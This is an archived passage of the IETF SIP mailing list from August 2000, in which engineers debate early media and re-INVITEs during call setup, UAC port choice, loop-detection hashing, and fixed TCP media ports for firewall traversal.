mailsrv02.multitude.com (mailsrv02.firetalk.com [204.178.116.251]) by lists.bell-labs.com (Postfix) with ESMTP id 6987644338 for ; Thu, 17 Aug 2000 13:34:18 -0400 (EDT) Received: from sbarber2k (s242.firetalk.com [204.178.116.242]) by mailsrv02.multitude.com (Rockliffe SMTPRA 3.4.2) with SMTP id for ; Thu, 17 Aug 2000 10:32:44 -0700 From: "Simon Barber" To: Subject: RE: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Date: Thu, 17 Aug 2000 10:34:57 -0700 Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00BE_01C00836.C9CF34F0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <399C0021.6C9B8C63@dynamicsoft.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com This is a multi-part message in MIME format. ------=_NextPart_000_00BE_01C00836.C9CF34F0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit The reason for the problem here is that functionality in SIP isn't as clearly layered as it could be. Early media mixes up call setup and bearer setup layers. Sticking to option 3 separates call setup into one layer and media setup into another. This simplifies the protocol - we should do this if at all possible. Simon Barber -----Original Message----- From: sip-admin@lists.bell-labs.com [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Anders Kristensen Sent: Thursday, August 17, 2000 8:09 AM To: Jonathan Rosenberg Cc: Jean-Hugues ROBERT; sip@lists.bell-labs.com Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? These are the kind of anomalies that are to be expected when nested calls are introduced. I believe when we had this discussion last time it all got down to billing eventually. I guess most people would agree that (ideally at least) the signaling protocol shouldn't depend on billing. Option 3 seems much preferable to me - avoid doing early media and set up legs properly. Option 2 is just an abomination. Anders Jonathan Rosenberg wrote: > > This is a really good issue. Thanks for bringing it up. > > Seems like there are really just three possibilities: > > 1. punt this problem; you can't change the parameters before the call is > setup > 2. allow reinvites before the 200 OK to change the parameters > 3. don't allow early media - send a 200 OK for this instead > > None of these are ideal. (2) worries me, as it introduces additional > complexity which I fear will have interactions with other things. (3) is > somewhat appealing, allowing us to return to the simpler model SIP > orginally had. However, people claimed this had nasty interactions with > billing systems and PSTN interworking. I wonder if we can't revisit this > and see if those issues could be resolved some other way? > > -Jonathan R. > > Jean-Hugues ROBERT wrote: > > > > Hi, > > > > Short form: In the presence of Early Media, prior to receiving 200 OK, how > > can a Caller tell a Callee to send media according to a *new* SDP ? Or "How > > can I put a call on hold when I hear a remotely generated ringback tone ?" > > > > Much longer form: > > > > It is generaly agreed that making Media and Signaling distinct is a good > > thing. Amoung other benefit it enables decomposed architectures and more > > generaly support the locality of concern principle. > > > > A prime example of this distinction is SDP usage in SIP. SIP is basically > > concerned by Signaling whereas SDP is about Media. > > > > Signaling is mainly about setting up and tearing down communications. Media > > is mainly about payload formats and destinations. > > > > It is my understanding that, prior to 183 Session Progress, Media data > > started to flow only after INVITE's 200 OK final response was received or > > acknowledged (depending on side). > > > > Afterward, changes impacting Media (changes in SDPs) occured at any time > > using re-INVITE. Callee could ask Caller "Please now handle Media according > > to this new SDP". Caller could do the same. This was fine. > > > > However, since 183 Provisionnal response was introduced, as well as other > > new occasions to change SDPs during call setup, Media can start to flow > > well before 200 OK, or even in the total absence of 200 OK. > > > > This may introduce an issue regarding control of Media, during the setup phase: > > Callee can still ask Caller "Please now handle Media according to this > > *new* SDP", simply sending a new 183. However I fear that Caller *cannot* > > ask Callee to change Media any more. > > > > To be fully accurate, it seems that Caller could still ask Callee to change > > Media, if SDP is allowed in PRACK, but only in response to Callee doing it > > first. Is SDP legal in PRACK's ack message ? > > > > So my question is: "In the presence of Early Media, how can a Caller ask a > > Callee to handle Media according to a new SDP when Caller's INVITE > > transaction is still not completed ?". > > > > One potential solution could be to allow re-INVITE while the "main" INVITE > > is still not completed. It is illegal today. This would introduce > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form > > of nested transaction, isn't it ? > > > > Another solution, probably simplier, would be to enable 183 "both ways": > > The Caller would have the rigth to send it to the Callee, potentially only > > in the presence of Early Media. But that seems weird, because it is a > > reponse without a question. > > > > If you are guessing "why the hell does this matter ?", please think of > > potential restrictions if Media cannot change while call is beeing setted up. > > > > One example related to mobility (probably not 100% relevant, not a thread > > to SIP for Mobility): > > Lets say I have a decomposed cheap wireless IP phone: > > - The expensive UA has a fixed IP address and a full featured SIP stack > > with a fancy Java user application, it handles multiple phones. > > - The cheap phones have no fixed IP addresses, a very ligth > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with > > the UA. > > Whenever the phone's IP address changes, the UA will change the Media of > > the involved SIP calls, if any. > > > > Now the issue: What if the phone moves while receiving Early Media (say > > remote ringback tone) ? UA need to tell the Callee about the Calling > > phone's new IP address. How ? > > > > Other, simplier, issues: How do I put a call on hold when I am listening to > > some network generated annoucement ? How can an assistant, dialing on > > behalf of the boss, transfer the ringing call to the boss when ringback > > tone is generated remotely ? > > > > Any previous art in solving this issue (if it is actually an issue) ? > > Is there a similar issue in H.323 (Early H.245 related I guess) or was it > > solved ? > > > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > > Early Media and have a 200 OK as soon as media is there (with probably some > > hints that the call/session is not "fully" established). Some yet to define > > "INFO Session Progress" could later on indicate how the call is > > progressing. This has the merit of beeing compatible with existing > > implementations. > > > > Jean-Hugues Robert > > -------------------------------------------------------------------------- - > > "Fix Bugs First" > > Sophia General Manager. > > mailto:jhr@netergynet.com - We serve providers - "Think globally. > > http://www.netergynet.com - Hosted PBX solutions - Act locally." > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > -- > Jonathan D. Rosenberg 72 Eagle Rock Ave. > Chief Scientist First Floor > dynamicsoft East Hanover, NJ 07936 > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > http://www.dynamicsoft.com > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip ------=_NextPart_000_00BE_01C00836.C9CF34F0 Content-Type: text/x-vcard; name="Simon Barber.vcf" Content-Disposition: attachment; filename="Simon Barber.vcf" Content-Transfer-Encoding: quoted-printable BEGIN:VCARD VERSION:2.1 N:Barber;Simon FN:Simon Barber TEL;WORK;VOICE:(650) 636-1924 ADR;WORK;ENCODING=3DQUOTED-PRINTABLE:;;601 Gateway Boulevard, Suite = 1050=3D0D=3D0A;South San Francisco;CA;94080;USA LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:601 Gateway Boulevard, Suite = 1050=3D0D=3D0A=3D0D=3D0ASouth San Francisco, CA 94080=3D =3D0D=3D0AUSA X-WAB-GENDER:2 URL:http://simon.barber.net BDAY:19730413 EMAIL;PREF;INTERNET:simon@barber.net EMAIL;INTERNET:simon@firetalk.com REV:20000727T025613Z END:VCARD ------=_NextPart_000_00BE_01C00836.C9CF34F0-- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 14:25:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02094 for ; Thu, 17 Aug 2000 14:25:13 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D86A54435B; Thu, 17 Aug 2000 14:24:39 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from broadsoft.com (broadsoft.com [161.58.239.68]) by lists.bell-labs.com (Postfix) with ESMTP id A3C1544338 for ; Thu, 17 Aug 2000 14:24:35 -0400 (EDT) Received: from tate ([216.181.56.35]) by broadsoft.com (8.8.8) id OAA43679; Thu, 17 Aug 2000 14:24:15 -0400 (EDT) Message-ID: <0c9201c00878$f061e8a0$3202a8c0@broadsoft.com> From: "Brett Tate" To: "Anders Kristensen" , "Jonathan Rosenberg" Cc: References: <4.3.0.20000816121838.02785e50@mail.sophia.8x8.com> <399B8269.FBCABDC6@dynamicsoft.com> <399C0021.6C9B8C63@dynamicsoft.com> Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? Date: Thu, 17 Aug 2000 14:28:28 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit ----- Original Message ----- From: Anders Kristensen To: Jonathan Rosenberg Cc: Jean-Hugues ROBERT ; Sent: Thursday, August 17, 2000 11:09 AM Subject: Re: [SIP] Media & Signaling inter-dependencies, issue with 183 ? > These are the kind of anomalies that are to be expected when nested > calls are introduced. I believe when we had this discussion last time it > all got down to billing eventually. I guess most people would agree that > (ideally at least) the signaling protocol shouldn't depend on billing. > Option 3 seems much preferable to me - avoid doing early media and set > up legs properly. Option 2 is just an abomination. I agree that option 2 adds too much complexity to SIP. However I think that early media is very useful for ip-telephony; thus I would hate to see option 3 get adopted. I just feel that early media needs to be more explicitly defined; please see "Remote ringback" thread. I think that if the caller needs to change SDP, the caller needs to wait until after the call is answered before sending a message with the new SDP. Unless considered a violation by the Transfer draft, the following is an overkill strange possibility. The caller can REFER the called party back to caller and provide the new SDP in the 200rsp, and CANCEL the original INVITE before the called party answers. When the original called party answers, the SDP is passed in the ACK. > > Anders > > Jonathan Rosenberg wrote: > > > > This is a really good issue. Thanks for bringing it up. > > > > Seems like there are really just three possibilities: > > > > 1. punt this problem; you can't change the parameters before the call is > > setup > > 2. allow reinvites before the 200 OK to change the parameters > > 3. don't allow early media - send a 200 OK for this instead > > > > None of these are ideal. (2) worries me, as it introduces additional > > complexity which I fear will have interactions with other things. (3) is > > somewhat appealing, allowing us to return to the simpler model SIP > > orginally had. However, people claimed this had nasty interactions with > > billing systems and PSTN interworking. I wonder if we can't revisit this > > and see if those issues could be resolved some other way? > > > > -Jonathan R. > > > > Jean-Hugues ROBERT wrote: > > > > > > Hi, > > > > > > Short form: In the presence of Early Media, prior to receiving 200 OK, how > > > can a Caller tell a Callee to send media according to a *new* SDP ? Or "How > > > can I put a call on hold when I hear a remotely generated ringback tone ?" > > > > > > Much longer form: > > > > > > It is generaly agreed that making Media and Signaling distinct is a good > > > thing. Amoung other benefit it enables decomposed architectures and more > > > generaly support the locality of concern principle. > > > > > > A prime example of this distinction is SDP usage in SIP. SIP is basically > > > concerned by Signaling whereas SDP is about Media. > > > > > > Signaling is mainly about setting up and tearing down communications. Media > > > is mainly about payload formats and destinations. > > > > > > It is my understanding that, prior to 183 Session Progress, Media data > > > started to flow only after INVITE's 200 OK final response was received or > > > acknowledged (depending on side). > > > > > > Afterward, changes impacting Media (changes in SDPs) occured at any time > > > using re-INVITE. Callee could ask Caller "Please now handle Media according > > > to this new SDP". Caller could do the same. This was fine. > > > > > > However, since 183 Provisionnal response was introduced, as well as other > > > new occasions to change SDPs during call setup, Media can start to flow > > > well before 200 OK, or even in the total absence of 200 OK. > > > > > > This may introduce an issue regarding control of Media, during the setup phase: > > > Callee can still ask Caller "Please now handle Media according to this > > > *new* SDP", simply sending a new 183. However I fear that Caller *cannot* > > > ask Callee to change Media any more. > > > > > > To be fully accurate, it seems that Caller could still ask Callee to change > > > Media, if SDP is allowed in PRACK, but only in response to Callee doing it > > > first. Is SDP legal in PRACK's ack message ? > > > > > > So my question is: "In the presence of Early Media, how can a Caller ask a > > > Callee to handle Media according to a new SDP when Caller's INVITE > > > transaction is still not completed ?". > > > > > > One potential solution could be to allow re-INVITE while the "main" INVITE > > > is still not completed. It is illegal today. This would introduce > > > "nested-transaction", but I guess that (PR w/SDP + PRACK) is already a form > > > of nested transaction, isn't it ? > > > > > > Another solution, probably simplier, would be to enable 183 "both ways": > > > The Caller would have the rigth to send it to the Callee, potentially only > > > in the presence of Early Media. But that seems weird, because it is a > > > reponse without a question. > > > > > > If you are guessing "why the hell does this matter ?", please think of > > > potential restrictions if Media cannot change while call is beeing setted up. > > > > > > One example related to mobility (probably not 100% relevant, not a thread > > > to SIP for Mobility): > > > Lets say I have a decomposed cheap wireless IP phone: > > > - The expensive UA has a fixed IP address and a full featured SIP stack > > > with a fancy Java user application, it handles multiple phones. > > > - The cheap phones have no fixed IP addresses, a very ligth > > > Codec+RTP+UDP+IP stack and some minimal stimulus protocol to interact with > > > the UA. > > > Whenever the phone's IP address changes, the UA will change the Media of > > > the involved SIP calls, if any. > > > > > > Now the issue: What if the phone moves while receiving Early Media (say > > > remote ringback tone) ? UA need to tell the Callee about the Calling > > > phone's new IP address. How ? > > > > > > Other, simplier, issues: How do I put a call on hold when I am listening to > > > some network generated annoucement ? How can an assistant, dialing on > > > behalf of the boss, transfer the ringing call to the boss when ringback > > > tone is generated remotely ? > > > > > > Any previous art in solving this issue (if it is actually an issue) ? > > > Is there a similar issue in H.323 (Early H.245 related I guess) or was it > > > solved ? > > > > > > BTW: A *radical* solution would be to avoid 1xx responses that initiate > > > Early Media and have a 200 OK as soon as media is there (with probably some > > > hints that the call/session is not "fully" established). Some yet to define > > > "INFO Session Progress" could later on indicate how the call is > > > progressing. This has the merit of beeing compatible with existing > > > implementations. > > > > > > Jean-Hugues Robert > > > -------------------------------------------------------------------------- - > > > "Fix Bugs First" > > > Sophia General Manager. > > > mailto:jhr@netergynet.com - We serve providers - "Think globally. > > > http://www.netergynet.com - Hosted PBX solutions - Act locally." > > > > > > _______________________________________________ > > > SIP mailing list > > > SIP@lists.bell-labs.com > > > http://lists.bell-labs.com/mailman/listinfo/sip > > > > -- > > Jonathan D. Rosenberg 72 Eagle Rock Ave. > > Chief Scientist First Floor > > dynamicsoft East Hanover, NJ 07936 > > jdrosen@dynamicsoft.com FAX: (973) 952-5050 > > http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 > > http://www.dynamicsoft.com > > > > _______________________________________________ > > SIP mailing list > > SIP@lists.bell-labs.com > > http://lists.bell-labs.com/mailman/listinfo/sip > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 15:52:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03705 for ; Thu, 17 Aug 2000 15:52:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 0835744338; Thu, 17 Aug 2000 15:52:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from itecid1.telecom-co.net (unknown [200.21.27.173]) by lists.bell-labs.com (Postfix) with ESMTP id 9174C44338 for ; Thu, 17 Aug 2000 15:37:58 -0400 (EDT) Received: from alpha.telecom-co.net ([200.21.27.76]) by itecid1.telecom-co.net (8.9.3+Sun/8.9.1) with ESMTP id OAA22716 for ; Thu, 17 Aug 2000 14:43:43 +0500 (GMT) Message-ID: <399BEB40.5D572C8@alpha.telecom-co.net> Date: Thu, 17 Aug 2000 14:40:16 +0100 From: Damian Farias X-Mailer: Mozilla 4.7 [en] (WinNT; I) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [SIP] UAS & UAC with different port numbers? Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hello. I'm having a little doubt about port numbers in sip addresses. I know that, for the UAS (at least), there is a default port number (5060). My question is: i - should I use the same port for the UAC ii - another specific port, like 5061 or iii - ANY_PORT? With the first case (which I have been trying to implement because I believe it's the right one), I'm having some trouble because both UAS and UAC are simultaneously listening for requests and responses respectively, and the only solution I could think of for routing incoming SIP messages (requests or responses) to the right listener, was (for both caller party and called party the UAS listening was initially enabled and UAC listening disabled): (for the caller) disabling UAS listening enabling UAC listening sending the initial INVITE through the UAC receiving a response disabling UAC listening enabling UAS listening sending ACK through the UAC (and for the callee) receiving a request sending a response. Another pseudo-solution to this is (which I believe to be incorrect) implementing a message interpreter under the UAS & UAC. This entity would receive the incoming network packets, find out what kind of SIP message has arrived (request or response) and deliver it to the right listener. With the second case, should the UAC port number be part of the From field in an outgoing SIP request, so the responding UAS would know where to send its message? And finally, in the last case, how would the remote UAS know where to send its response? I hope anyone can help me on this. Please tell me of any other solutions you may know about, including those which would show I'm completely insane and ignorant on SIP. Thanks. (I'm sorry for the long message) _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 16:03:32 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03847 for ; Thu, 17 Aug 2000 16:03:32 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 698B1443AB; Thu, 17 Aug 2000 16:02:35 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 9DE8C4438C for ; Thu, 17 Aug 2000 16:02:29 -0400 (EDT) Received: from dynamicsoft.com (1Cust234.tnt1.freehold.nj.da.uu.net [63.17.113.234]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id QAA03386; Thu, 17 Aug 2000 16:03:27 -0400 (EDT) Message-ID: <399C4613.70D28365@dynamicsoft.com> Date: Thu, 17 Aug 2000 16:07:47 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Damian Farias Cc: sip@lists.bell-labs.com Subject: Re: [SIP] UAS & UAC with different port numbers? References: <399BEB40.5D572C8@alpha.telecom-co.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit The port for UAC is used for responses. You can get responses on any port you want. If its not 5060, you include that port in the Via header of the outgoing request. -Jonathan R. Damian Farias wrote: > > Hello. > > I'm having a little doubt about port numbers in sip addresses. I know > that, for the UAS (at least), there is a default port number (5060). My > question is: > > i - should I use the same port for the UAC > ii - another specific port, like 5061 or > iii - ANY_PORT? > > With the first case (which I have been trying to implement because I > believe it's the right one), I'm having some trouble because both UAS > and UAC are simultaneously listening for requests and responses > respectively, and the only solution I could think of for routing > incoming SIP messages (requests or responses) to the right listener, was > (for both caller party and called party the UAS listening was initially > enabled and UAC listening disabled): > > (for the caller) > disabling UAS listening > enabling UAC listening > sending the initial INVITE through the UAC > receiving a response > disabling UAC listening > enabling UAS listening > sending ACK through the UAC > > (and for the callee) > receiving a request > sending a response. > > Another pseudo-solution to this is (which I believe to be incorrect) > implementing a message interpreter under the UAS & UAC. This entity > would receive the incoming network packets, find out what kind of SIP > message has arrived (request or response) and deliver it to the right > listener. > > With the second case, should the UAC port number be part of the From > field in an outgoing SIP request, so the responding UAS would know where > to send its message? > > And finally, in the last case, how would the remote UAS know where to > send its response? > > I hope anyone can help me on this. Please tell me of any other solutions > you may know about, including those which would show I'm completely > insane and ignorant on SIP. > > Thanks. > (I'm sorry for the long message) > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 16:30:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA04120 for ; Thu, 17 Aug 2000 16:30:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id DC8EA443A3; Thu, 17 Aug 2000 16:29:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from topaz.3com.com (topaz.3com.com [192.156.136.158]) by lists.bell-labs.com (Postfix) with ESMTP id A351644339 for ; Thu, 17 Aug 2000 16:29:14 -0400 (EDT) Received: from opal.3com.com (opal.3com.com [139.87.50.117]) by topaz.3com.com (Switch-2.0.1/Switch-2.0.1) with ESMTP id e7HKT7s00795 for ; Thu, 17 Aug 2000 13:29:07 -0700 (PDT) Received: from hqoutbound.ops.3com.com (hqoutbound.OPS.3Com.COM [139.87.48.104]) by opal.3com.com (Switch-2.0.1/Switch-2.0.1) with SMTP id e7HKTC907846 for ; Thu, 17 Aug 2000 13:29:12 -0700 (PDT) Received: by hqoutbound.ops.3com.com(Lotus SMTP MTA v4.6.7 (934.1 12-30-1999)) id 8825693E.00708811 ; Thu, 17 Aug 2000 13:29:08 -0700 X-Lotus-FromDomain: 3COM From: Deepak_Pant@3com.com To: sip@lists.bell-labs.com Message-ID: <8825693E.007085E2.00@hqoutbound.ops.3com.com> Date: Thu, 17 Aug 2000 15:30:44 -0500 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Subject: [SIP] Legal loop detection-Hash calculation Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com For the legal loop detection hash calculation, Why do we need the From and To to compute the hash? I suppose the ReqURI and the CallID are sufficient to compute the hash!! The use of cSeq number as mentioned in the rfc2543bis would be a problem issue since if the proxy insists on being on the path, a reinvite won't have the same cSeq number. -Deepak _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 22:20:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08938 for ; Thu, 17 Aug 2000 22:20:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5E54B4433B; Thu, 17 Aug 2000 22:19:50 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 35D4244338 for ; Thu, 17 Aug 2000 22:19:47 -0400 (EDT) Received: from dynamicsoft.com (1Cust234.tnt1.freehold.nj.da.uu.net [63.17.113.234]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA05829; Thu, 17 Aug 2000 22:21:26 -0400 (EDT) Message-ID: <399C9EA6.F434C106@dynamicsoft.com> Date: Thu, 17 Aug 2000 22:25:42 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Deepak_Pant@3com.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Legal loop detection-Hash calculation References: <8825693E.007085E2.00@hqoutbound.ops.3com.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Deepak_Pant@3com.com wrote: > > For the legal loop detection hash calculation, > Why do we need the From and To to compute the hash? > I suppose the ReqURI and the CallID are sufficient to compute > the hash!! By using to, from call-ID and CSeq, you get the nice property that the branch-ID of the request is a complete transaction identifier. But, this is an implementation dcision. As far as the algorithm is concerned (detecting spirals), request URI alone is all that is needed. > > The use of cSeq number as mentioned in the rfc2543bis would > be a problem issue since if the proxy insists on being on the > path, a reinvite won't have the same cSeq number. Huh? This is a totally separate transaction. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 22:54:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA10140 for ; Thu, 17 Aug 2000 22:54:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B9B6F44344; Thu, 17 Aug 2000 22:54:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 2527444338 for ; Thu, 17 Aug 2000 22:54:28 -0400 (EDT) Received: from dynamicsoft.com (1Cust234.tnt1.freehold.nj.da.uu.net [63.17.113.234]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA05919; Thu, 17 Aug 2000 22:56:01 -0400 (EDT) Message-ID: <399CA6C1.B0CAD181@dynamicsoft.com> Date: Thu, 17 Aug 2000 23:00:17 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: David Yon Cc: "Fairlie-Cuninghame, Robert" , "'Christian Huitema'" , sip@lists.bell-labs.com Subject: Re: [SIP] SIP, SDP, and TCP-based media transport References: <4.3.2.7.2.20000816091147.00d0b7a0@webhost.tactical-sw.com> <4.3.2.7.2.20000817101152.00d6ce70@webhost.tactical-sw.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit David Yon wrote: > > At 02:50 AM 8/17/00 -0400, Jonathan Rosenberg wrote: > > >The difficulty here is that you are choosing to modify one of the > >fundamental RTP design choices. RTP uses dynamic ports explicitly > > Since the TCP transport protocol I have in mind is not RTP, I am doing no > such thing. Right. I keep forgetting you aren't interested in RTP. I am clearly thinking along RTP lines. > >I guess your assumption is that if the media streams are always on a > >well known port, we can convince firewall admins to allow inbound > >connections to that port. I'm doubtful that this would really happen. > > Your guess is incorrect. The reason (among several) to have fixed ports on > the "passive" side is not to convince firewall admins to allow inbound > connections to that port, but rather to convince the hyper-paranoid > firewall admins to allow *outbound* connections to that port. The topology > is that the UA advertising "passive" is not behind a firewall, which allows > UAs which *are* behind a firewall to (a) not require inbound connections, > and (b) only have a single outbound port open. Asking an admin to open an > outbound port on 2392 (for example) so that users can make use of a > well-defined SIP-based service is a lot different than asking "gee, can you > open ports 6000-8000?" These kinds of things have been hashed out endlessly on various IETF mailing lists. It all comes down to this: designing protocols to meet assumed policies of firewall administrators is a dangerous game. These policies change all the time, and what works today may not work tomorrow. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 17 22:57:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA10163 for ; Thu, 17 Aug 2000 22:57:04 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E042D44359; Thu, 17 Aug 2000 22:56:28 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by 